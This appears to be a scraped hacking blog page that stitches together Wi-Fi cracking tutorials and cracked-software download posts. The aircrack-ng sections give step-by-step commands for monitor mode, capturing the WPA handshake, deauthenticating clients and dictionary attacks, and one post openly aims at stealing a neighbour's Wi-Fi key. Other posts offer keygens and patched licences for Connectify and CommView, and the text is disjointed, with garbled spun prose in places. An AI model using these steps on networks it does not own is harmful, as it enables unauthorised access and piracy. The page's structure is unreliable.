Here i am to share the most powerful And best WiFi Pass Cracker For SpeedTouch And Thomson Modems
Click here to download:
Hacking SpeedTouch And Thomson Wireless Network Passwords
Here i am to share the most powerful And best WiFi Pass Cracker For SpeedTouch And Thomson Modems
Download Link Is Below
HOW TO CRACK WIFI/WIRELESS WPA/WPA2 ENCRYPTION Tutorial
You might have heard/learnt from me/others How to Crack Passwords of WEP but now i am going to tell you how to crack WPA/WPA2 Passwords.
Note: This post is intended for Pen Testers only.And this is not to be used for illegal purposes.If you do not agree Please QUIT.
Introduction
This tutorial walks you through cracking WPA/WPA2 networks which use pre-shared keys. I recommend you do some background reading to better understand what WPA/WPA2 is. The Wiki links page has a WPA/WPA2 section. he best document describing WPA is Wi-Fi Security - WEP,WPA and WPA2. This is the link to download the PDF directly. The WPA.
WPA/WPA2 supports many types of authentication beyond pre-shared keys. aircrack-ng can ONLY crack pre-shared keys. So make sure airodump-ng shows the network as having the authentication type of PSK, otherwise, don't bother trying to crack it.
There is another important difference between cracking WPA/WPA2 and WEP. This is the approach used to crack the WPA/WPA2 pre-shared key. Unlike WEP, where statistical methods can be used to speed up the cracking process, only plain brute force techniques can be used againstWPA/WPA2. That is, because the key is not static, so collecting IVs like when cracking WEP encryption, does not speed up the attack. The only thing that does give the information to start an attack is the handshake between client and AP. Handshaking is done when the client connects to the network. Although not absolutely true, for the purposes of this tutorial, consider it true. Since the pre-shared key can be from 8 to 63 characters in length, it effectively becomes impossible to crack the pre-shared key.
The only time you can crack the pre-shared key is if it is a dictionary word or relatively short in length. Conversely, if you want to have an unbreakable wireless network at home, use WPA/WPA2 and a 63 character password composed of random characters including special symbols.
The impact of having to use a brute force approach is substantial. Because it is very compute intensive, a computer can only test 50 to 300 possible keys per second depending on the computer CPU. It can take hours, if not days, to crunch through a large dictionary. If you are thinking about generating your own password list to cover all the permutations and combinations of characters and special symbols, check out this brute force time calculator first. You will be very surprised at how much time is required.
There is no difference between cracking WPA or WPA2 networks. The authentication methodology is basically the same between them. So the techniques you use are identical.
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool.
Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
Assumptions
First, this solution assumes:
You are using drivers patched for injection. Use the injection test to confirm your card can inject.
You are physically close enough to send and receive access point and wireless client packets. Remember that just because you can receive packets from them does not mean you may will be able to transmit packets to them. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by both the AP and the wireless client. You can confirm that you can communicate with the specific AP by following these instructions.
You are using v0.9.1 or above of aircrack-ng. If you use a different version then some of the command options may have to be changed.
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change "ath0” to the interface name which is specific to your wireless card.
Equipment used
To follow this tutorial at home, you must have two wireless cards.
In this tutorial, here is what was used:
MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
MAC address of the wireless client using WPA2: 00:0F:B5:FD:FB:C2
BSSID (MAC address of access point): 00:14:6C:7E:40:80
ESSID (Wireless network name): teddy
Access point channel: 9
Wireless interface: ath0
You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.
Solution
Solution Overview
The objective is to capture the WPA/WPA2 authentication handshake and then use aircrack-ng to crack the pre-shared key.
This can be done either actively or passively. "Actively” means you will accelerate the process by deauthenticating an existing wireless client. "Passively” means you simply wait for a wireless client to authenticate to the WPA/WPA2 network. The advantage of passive is that you don't actually need injection capability and thus the Windows version of aircrack-ng can be used.
Here are the basic steps we will be going through:
Start the wireless interface in monitor mode on the specific AP channel
Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
Use aireplay-ng to deauthenticate the wireless client
Run aircrack-ng to crack the pre-shared key using the authentication handshake
Step 1 - Start the wireless interface in monitor mode
The purpose of this step is to put your card into what is called monitor mode. Monitor mode is the mode whereby your card can listen to every packet in the air. Normally your card will only "hear” packets addressed to you. By hearing every packet, we can later capture the WPA/WPA2 4-way handshake. As well, it will allow us to optionally deauthenticate a wireless client in a later step. These steps are mostly specific to the madwifi-ng driver - for other drivers, this procedure varies. (Most commonly, running the command "airmon-ng start ” is used to set up monitor mode.)
First stop ath0 by entering:
airmon-ng stop ath0
The system responds:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Enter "iwconfig” to ensure there are no other athX interfaces. It should look similar to this:
lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.
If there are any remaining athX interfaces, then stop each one. When you are finished, run "iwconfig” to ensure there are none left.
Now, enter the following command to start the wireless card on channel 9 in monitor mode:
airmon-ng start wifi0 9
Note: In this command we use "wifi0” instead of our wireless interface of "ath0”. This is because the madwifi-ng drivers are being used.
The system will respond:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
You will notice that "ath0” is reported above as being put into monitor mode.
To confirm the interface is properly setup, enter "iwconfig”.
The system will respond:
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.
To match the frequency to the channel, check out: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels then select the "Wifi Channel Selection and Channel Overlap” tab. This will give you the frequency for each channel.
Step 2 - Start airodump-ng to collect authentication handshake
The purpose of this step is run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.
Enter:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
Where:
-c 9 is the channel for the wireless network
--bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
-w psk is the file name prefix for the file which will contain the IVs.
ath0 is the interface name.
Important: Do NOT use the ”--ivs” option. You must capture the full packets.
Here what it looks like if a wireless client is connected to the network:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
In the screen above, notice the "WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.
Here it is with no connected wireless clients:
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
Troubleshooting Tip
See the Troubleshooting Tips section below for ideas.
To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for ” WPA handshake: 00:14:6C:7E:40:80” in the top right-hand corner. This means a four-way handshake was successfully captured.
use Wireshark and apply a filter of "eapol”. This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.
Step 3 - Use aireplay-ng to deauthenticate the wireless client
This step is optional. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then move onto the next step and be patient. Needless to say, if a wireless client shows up later, you can backtrack and perform this step.
What this step does is send a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This what we use to break the WPA/WPA2 pre-shared key.
Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Where:
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
ath0 is the interface name
Here is what the output looks like:
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
With luck this causes the client to reauthenticate and yield the 4-way handshake.
Troubleshooting Tips
The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not "hear” the deauthentication packet.
Step 4 - Run aircrack-ng to crack the pre-shared key
The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.
There is a small dictionary that comes with aircrack-ng - "password.lst”. This file can be found in the "test” directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.
Open another console session and enter:
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Where:
-w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
*.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.
Here is typical output when there are no handshakes found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
No valid WPA handshakes found.
When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.
Here is typical output when handshakes are found:
Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.
# BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.
Here is what successfully cracking the pre-shared key looks like:
Aircrack-ng 0.8
[00:00:00] 2 keys tested (37.20 k/s)
KEY FOUND! [ 12345678 ]
Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
Troubleshooting Tips
I Cannot Capture the Four-way Handshake!
It can sometimes be tricky to capture the four-way handshake. Here are some troubleshooting tips to address this:
Your monitor card must be in the same mode as the both the client and Access Point. So, for example, if your card was in "B” mode and the client/AP were using "G” mode, then you would not capture the handshake. This is especially important for new APs and clients which may be "turbo” mode and/or other new standards. Some drivers allow you to specify the mode. Also, iwconfig has an option "modulation” that can sometimes be used. Do "man iwconfig” to see the options for "modulation”. For information, 1, 2, 5.5 and 11Mbit are 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit are 'g'.
Sometimes you also need to set the monitor-mode card to the same speed. IE auto, 1MB, 2MB, 11MB, 54MB, etc.
Be sure that your capture card is locked to the same channel as the AP. You can do this by specifying ”-c ” when you start airodump-ng.
Be sure there are no connection managers running on your system. This can change channels and/or change mode without your knowledge.
You are physically close enough to receive both access point and wireless client packets. The wireless card strength is typically less then the AP strength.
Conversely, if you are too close then the received packets can be corrupted and discarded. So you cannot be too close.
Make sure to use the drivers specified on the wiki. Depending on the driver, some old versions do not capture all packets.
Ideally, connect and disconnect a wireless client normally to generate the handshake.
If you use the deauth technique, send the absolute minimum of packets to cause the client to reauthenticate. Normally this is a single deauth packet. Sending an excessive amount may cause the client to fail to reconnect and thus does not generate the four-way handshake. As well, use directed deauths, not broadcast. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not "hear” the deauthentication packet.
Try stopping the radio on the client station then restarting it.
Make sure you are not running any other program/process that could interfere such as connection managers, Kismet, etc.
Review your captured data using the WPA Packet Capture Explained tutorial to see if you can identify the problem. Such as missing AP packets, missing client packets, etc.
Unfortunately, you sometimes need to experiment a bit to get your card to properly capture the four-way handshake. The point is, if you don't get it the first time, have patience and experiment a bit. It can be done!
Another approach is to use Wireshark to review and analyze your packet capture. This can sometimes give you clues as to what is wrong and thus some ideas on how to correct it. The WPA Packet Capture Explained tutorial is a companion to this tutorial and walks you through what a "normal” WPA connection looks like. As well, see the FAQ for detailed information on how to use Wireshark.
In an ideal world, you should use a wireless device dedicated to capturing the packets. This is because some drivers such as the RTL8187L driver do not capture packets the card itself sends. Also, always use the driver versions specified on the wiki. This is because some older versions of the drivers such as the RT73 driver did not capture client packets.
When using Wireshark, the filter "eapol” will quickly display only the EAPOL packets. Based on what EAPOL packets are actually in the capture, determine your correction plan. For example, if you are missing the client packets then try to determine why and how to collect client packets.
To dig deep into the packet analysis, you must start airodump-ng without a BSSID filter and specify the capture of the full packet, not just IVs. Needless to say, it must be locked to the AP channel. The reason for eliminating the BSSID filter is to ensure all packets including acknowledgements are capture. With a BSSID filter, certain packets are dropped from the capture.
Every packet sent by client or AP must be acknowledged. This is done with an "acknowledgement” packet which has a destination MAC of the device which sent the original packet. If you are trying to deauthenticate a client, one thing to check is that you receive the "ack” packet. This confirms the client received the deauth packet. Failure to receive the "ack” packet likely means that the client is out of transmission range. Thus failure.
When it comes to analyzing packet captures, it is impossible to provide detailed instructions. I have touched on some techniques and areas to look at. This is an area which requires effort to build your skills on both WPA/WPA2 plus how to use Wireshark.
aircrack-ng says "0 handshakes"
Check the "I Cannot Capture the Four-way Handshake!” troubleshooting tip.
aircrack-ng says "No valid WPA handshakes found"
Check the "I Cannot Capture the Four-way Handshake!” troubleshooting tip.
WiFiSlax 4.3 Final (WiFi Hack BootCD)
WiFiSlax 4.3 Final (WiFi Hack BootCD) | 551 MB
WifiSlax is a type of Slax OS made exclusively for wireless hacking. It comes with a bunch of wireless tools preloaded into it. These include Aircrack, Airsnort, kismet, madwifi drivers and many more.
Basic Instructions:
1)Boot from cd
2)Get the wep key
3)Write it down
4)Reboot into windows
5)Connect using wep key.
Connectify Hotspot Pro 4.3.0.26370 Full License Key
Connectify Hotspot Pro 4.3.0.26370 Full License Key | 7.0 MB
Connectify Dispatch is groundbreaking PC software that lets you connect to all available Internet connections simultaneously, for their combined speed, and increased reliability.
Experience the Internet, Faster
You already pay for high-speed Internet at home, data access on your smart phone, and mobile broadband
Connectify Dispatch gives you all of the bandwidth bonding capabilities of a hardware load balancing router at a fraction of the cost. No need to waste time and money configuring and carrying around another
We all need faster Internet — to get our work done quicker, our game on sooner, and to download or share important documents as soon as possible. Get Connectify Dispatch today and get the Internet, faster.
Connectify Hotspot:
Turn your PC into a real Wi-Fi Hotspot
Connectify Hotspot is easy-to-use Internet connection sharing software for your PC. With Connectify Hotspot, you can wirelessly share any Internet connection: a cable modem, a cellular card, or even another
Connectify Dispatch System Requirements
Connectify Dispatch is a Windows application and it runs on a variety of versions:
Make sure that you have all of the latest Windows Updates, Service Packs, and genuine Windows software installed.
• Windows 8
• Windows 7 (Service Pack 1 or later)
• Windows XP (Service Pack 3 or later)
• Windows Vista (Service Pack 2 or later)
Dispatch supports all common Internet connections, including:
• Wi-Fi
• Ethernet
• 3G and 4G
• Dial-up
DOWNLOAD
Connectify Hotspot Pro 4.3.0.26370 Full
OR
OR
How To Hack Wifi Easily New Trick
A very good tutorial by my friend Solitary Man on Wep Cracking. He has used the tool "fern-wifi-cracker" which is easily avaliable on backtrack 5 R3.
So lets begin ...
Go to backtrack --> exploitation tools --> wireless exploitation tools -->
Now select the wireless interface you have ( it can be wlan0, wlan1 etc..)
Now there's a button on which you can see wifi logo, click that and it will start the network scanning ( of-course its using airodump here).
Note*: if you double-click anywhere in the tool, you'll get a "settings" dialog box... you can set the channel there and also you can start the xterm.
Now if you see closely, you'll note that the two buttons below the scan button will get enabled, the first button is the WEP cracking button and the second one is for WPA cracking.
Click the button for WEP cracking
Click the button for WEP cracking
After clicking that button, a new dialog box will open. you can select the wep network from the list and then you can select the type of attack i.e arp replay attack, chop-chop attack or fragmentation attack. then click "Attack"...
You'll be able to see the number of ivs are increasing.There's a progress bar at the end of the dialog box.When the progress bar reaches the end, this tool starts aircrack for cracking wifi password
When the password is cracked, it will be shown at the bottom of the dialog box...
NOW COMES THE INTERESTING PART:
(before going further, i suggest you to connect to the internet for this)
Go to "toolbox" --> Geolocatory tracker.
NOW COMES THE INTERESTING PART:
(before going further, i suggest you to connect to the internet for this)
Go to "toolbox" --> Geolocatory tracker.
Give the bssid of the AP in the text box and click "Trace".
I think everyone has already guessed what it will show...
YES... INDEED... IT WILL SHOW YOU THE LOCATION OF THE AP ON THE GOOGLE MAPS ... You can see the coordinates as well..
YES... INDEED... IT WILL SHOW YOU THE LOCATION OF THE AP ON THE GOOGLE MAPS ... You can see the coordinates as well..
And also you can see in the toolbox, there's a button for cookie hijacking called "cookie hijacker" ..
ok guys so that's it for now... :-)
ok guys so that's it for now... :-)
Who Is On My Wifi 2.1.5 full version
Who Is On My Wifi 2.1.5 |
Are People On Your Network Right Now? If you've stumbled across this site, chances are that you're concerned about how secure your wireless network really is. You might even be concerned that someone you don't know is connected to your network this very minute.
The problem is you can't see a wireless network. You can't touch it. And you can't know who is connected to it without some help.
But there is a way to be 100% certain that no one is on your Wireless Network but the computers and devices that you want to be on it.
It's like they say "Trust but Verify".
At this point, I hope you see the true value in verifying who has been connecting to your network.
I know when I first ran the software on my own machine, I kept expecting that someone I didn't know would connect any minute.
I have to admit that I was pleasantly surprised.
I run WPA2 on my wireless network, and in the 6 months that I've been running this software, I've only seen 1 person connect to my network that I wasn't aware of. And that was my wife who plugged her new computer directly into the Wireless Router without telling me about it.
For about the same price as a DVD or BluRay disc, you can have the piece of mind that your network is safe.
Home Page - www.whoisonmywifi.com
Commview Wifi Hacker v6.0.581 (+ Hacking Instructions) Full patch download
Commview Wifi Hacker v6.0.581 (+ Hacking Instructions)
CommView for WiFi is a powerful wireless network monitor and analyzer for 802.11 a/b/g/n networks. Loaded with many user-friendly features, CommView for WiFi combines performance and flexibility with an ease of use unmatched in the industry.
SUPPORTED ADAPTERS
What you can do with CommView for WiFi
* Scan the air for WiFi stations and access points.
* Capture 802.11a, 802.11b, 802.11g, and 802.11n WLAN traffic.
* Specify WEP or WPA keys to decrypt encrypted packets.
* View detailed per-node and per-channel statistics.
* View detailed IP connections statistics: IP addresses, ports, sessions, etc.
* Reconstruct TCP sessions.
* Configure alarms that can notify you about important events, such as suspicious packets, high bandwidth utilization, unknown addresses, rogue access points, etc.
* View protocol "pie" charts.
* Monitor bandwidth utilization.
* Browse captured and decoded packets in real time.
* Search for strings or hex data in captured packet contents.
* Log individual or all packets to files.
* Load and view capture files offline.
* Import and export packets in Sniffer®, EtherPeek™, AiroPeek™, Observer®, NetMon, Tcpdump, hex, and text formats.
* Export any IP address to SmartWhois for quick, easy IP lookup.
* Capture data from multiple channels simultaneously using several USB adapters.
Who needs CommView for WiFi
* WLAN administrators.
* Security professionals.
* Home users who are interested in monitoring their WLAN traffic.
Operating Systems (32- and 64-bit)
Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, or Windows 7.
Download Link
Hack wifi/WEP/WPA2 password using aircrack-ng
Now a days, We find our neighbour WiFi network but when we try to connect it say to enter password. they are put password in form of WEP or WPA/WPA2. Here is some trick to hack or Crack the wireless/WiFi password using aircrack-ng.
In my previous article I saw you to How to crack wifi or wireless password using Backtrack.
Hacking wireless wifi passwords
The most common type of wireless security are Wired Equivalent Privacy (WEP) and
Wi-Fi protected Access (WPA).
WEP was the original encryption standards for wireless so that wireless networks can be secured as
wired network. There are several open source Utilities like aircrack-ng, weplab, WEPCrack, or
airsnort that can be used by crackers to break in by examining packets and looking for patterns in the
encryption. WEP comes in different key sizes. The common key lengths are currently 128- and 256-bit in WEP.
Latter WAP and WAP2 was introduced to overcome the problems of WEP. WAP was based on
security protocol 802.11i replacing the 802.11 of WEP. Using long random passwords or passphrases
makes WPA virtually uncrackable however if a small password is used of less than 14 words it can be
cracked in less than one minute by aircrack-ng, mostly uses passwords of less than 14 words so use aircrack-ng for hacking .
Securing Wireless Network
The first step of securing wireless connection is simply using a long random passwords atleast of
14 characters. Now if your wifi device supports for WPA2 than use it, as many users don’t know that
their device supports for many security encryption techniques. Check your router security techniques supported which is in its configuration page.
If you don’t know how to edit routers setting than just open your browser and type 192.168.1.1 in
addressbar and here you will get your routers configuration, where you can select.
Cracking Wireless Network
As we have read above this is an easy task, we just have to use our network card in monitor mode so
as to capture packets from target network. And this NIC mode is driver dependent and network can be monitored using aircrack-ng. But only small number if cards support this mode under windows.
But you can use live CD of any linux OS (commonly BackTrack ) or install linux OS as virtual machine.
List of compatible cards.
Now download aircrack-ng for linux or windows platform from HERE.
The aircrack-ng suite is a collection of command-line programs aimed at WEP and WPA-PSK key
cracking. The ones we will be using are:
airmon-ng - script used for switching the wireless network card to monitor mode
airodump-ng - for WLAN monitoring and capturing network packets
aireplay-ng - used to generate additional traffic on the wireless network
aircrack-ng - used to recover the WEP key, or launch a dictionary attack on WPA-PSK using the captured data.
Using aircrack-ng
First, put the card in monitor mode :
root@bt:~# airmon-ng
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0)
wlan0 Ralink 2573 USB rt73usb - [phy0]
root@bt:~# airmon-ng start wlan0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0)
wlan0 Ralink 2573 USB rt73usb - [phy0]
(monitor mode enabled on mon0)
Ok, we can now use interface mon0
Let’s find a wireless network that uses WPA2 / PSK :
root@bt:~# airodump-ng mon0
CH 6 ][ Elapsed: 4 s ][ 2009-02-21 12:57
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:19:5B:52:AD:F7 -33 5 0 0 10 54 WPA2 CCMP PSK TestNet
BSSID STATION PWR Rate Lost Packets Probe
00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -29 0- 1 12 4 TestNet
Stop airodump-ng and run it again, writing all packets to disk :
airodump-ng mon0 --channel 10 --bssid 00:19:5B:52:AD:F7 -w /tmp/wpa2
At this point, you have 2 options : either wait until a client connects and the 4-way handshake is
complete, or deauthenticate an existing client and thus force it to reassociate. Time is money, so let’s
force the deauthenticate. We need the bssid of the AP (-a) and the mac of a connected client (-c)
root@bt:~# aireplay-ng -0 1 -a 00:19:5B:52:AD:F7 -c 00:1C:BF:90:5B:A3 mon0
13:04:19 Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10
13:04:20 Sending 64 directed DeAuth. STMAC: [00:1C:BF:90:5B:A3] [67|66 ACKs]
As a result, airodump-ng should indicate “WPA Handshake:” in the upper right corner
CH 10 ][ Elapsed: 2 mins ][ 2009-02-21 13:04 ][ WPA handshake: 00:19:5B:52:AD:F7
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:19:5B:52:AD:F7 -33 100 1338 99 0 10 54 WPA2 CCMP PSK TestNet
BSSID STATION PWR Rate Lost Packets Probe
00:19:5B:52:AD:F7 00:1C:BF:90:5B:A3 -27 54-54 0 230
Stop airodump-ng and make sure the files were created properly
root@bt:/# ls /tmp/wpa2* -al
-rw-r--r-- 1 root root 35189 2009-02-21 13:04 /tmp/wpa2-01.cap
-rw-r--r-- 1 root root 476 2009-02-21 13:04 /tmp/wpa2-01.csv
-rw-r--r-- 1 root root 590 2009-02-21 13:04 /tmp/wpa2-01.kismet.csv
Form this point forward, you do not need to be anywhere near the wireless network. All cracking will
happen offline, so you can stop airodump and other processes and even walk away from the AP. In fact,
I would suggest to walk away and find yourself a cosy place where you can live, eat, sleep, etc.
Cracking a WPA2 PSK key is based on bruteforcing, and it can take a very very long time.
There are 2 ways of bruteforcing : one that is relatively fast but does not guarantee success and one
that is very slow, but guarantees that you will find the key at some point in time.
The first option is by using a worklist/drstionary file. A lot of these files can be found on the internet (e.g.www.theargon.com or on packetstorm (see the archives)), or can be generated with tools such
as John The Ripper. Once the wordlist is created, all you need to do is run aircrack-ng with the
worklist and feed it the .cap fie that contains the WPA2 Handshake.
So if your wordlist is called word.lst (under /tmp/wordlists), you can run
aircrack-ng –w /tmp/wordlists/word.lst -b 00:19:5B:52:AD:F7 /tmp/wpa2*.cap
The success of cracking the WPA2 PSK key is directly linked to the strength of your password file. In
other words, you may get lucky and get the key very fast, or you may not get the key at all.
The second method (bruteforcing) will be successfull for sure, but it may take ages to complete.
Keep in mind, a WPA2 key can be up to 64 characters, So in theory you would to build every
password combination with all possible character sets and feed them into aircrack.
Hope you enjoy(-_-) this post.!
Note: This tutorial is only for Educational Purposes.
Easy Way to Hack WEP/WPA/WPA2 Wi-Fi Password
If you are living nearby someones WiFi hotspot and every time your laptop search for connection its showing up but you don't have passwords. Or you just want to steal someones WPA/WPA2 Wi-Fi hotspot key or passwords. Don't worry...
In this tutorial I’ll show How to hack a WPA/WPA2 Wi-Ficonnection through a bootable USB.
Things you should need:
2. beini.iso file. [Download it from HERE].
3. UNetbootin software to make your USB drive bootable. [Download for Windows, Linux or Mac]
Some few steps you should to do ( WEP):
1. Write beini.iso on your USB by UNetbootin. Set everything according to this image bellow.
Connectify Pro 3.6.0.24540 Full Keygen Serial Key Patch Free Download
PASSWORD : inam
Connectify Pro 3.6.0.24540 Full Version + Activation / Registration / License Key or Code Download Free
The Connectify professional three.6.0.24540 application can flip your Windows seven portable computer into a local area network Hotspot to share the web with friends, co-workers, and mobile devices. Connectify is running within the Notification receptacle next to the system clock. it would not be visible, as a result of Windows seven has clean up the Notification receptacle to cover the icons that you just do not oft use. If you click on the little white triangle it'll show all of the icons, together with the Connectify electromagnetic wave icon.
Connectify professional three.6.0.24540 moveable Free transfer When it's run in "Access Point" mode, Connectify could be a real local area network Access purpose running on your laptop. Any device that may connect with an everyday access purpose, will connect with a Connectify Hotspot, with no special setup or software system needed. When Connectify is run in "Ad Hoc" mode it sets everything up for you (Wireless card, net sharing, firewall, etc.) in one press of a button. It conjointly provides advanced options like showing you what computers ar connected to your network, and rental you right click them to Explore their shared drives and printers.NOTE: Users can buy the professional version of the applying (includes options like Share Wi-Fi from 3G/4G Networks, Fully-customizable SSID, AutoInternet choice or straightforward Firewall Controls) here.
Connectify Pro 3.6.0.24540 Key Features
Software-based Wireless Router:
· Take any intemet connection and share it wirelessly with no additional hardware
Connect with Mobile Devices:
· Easily connect any number ot WiFi enabled devices to your mobile network
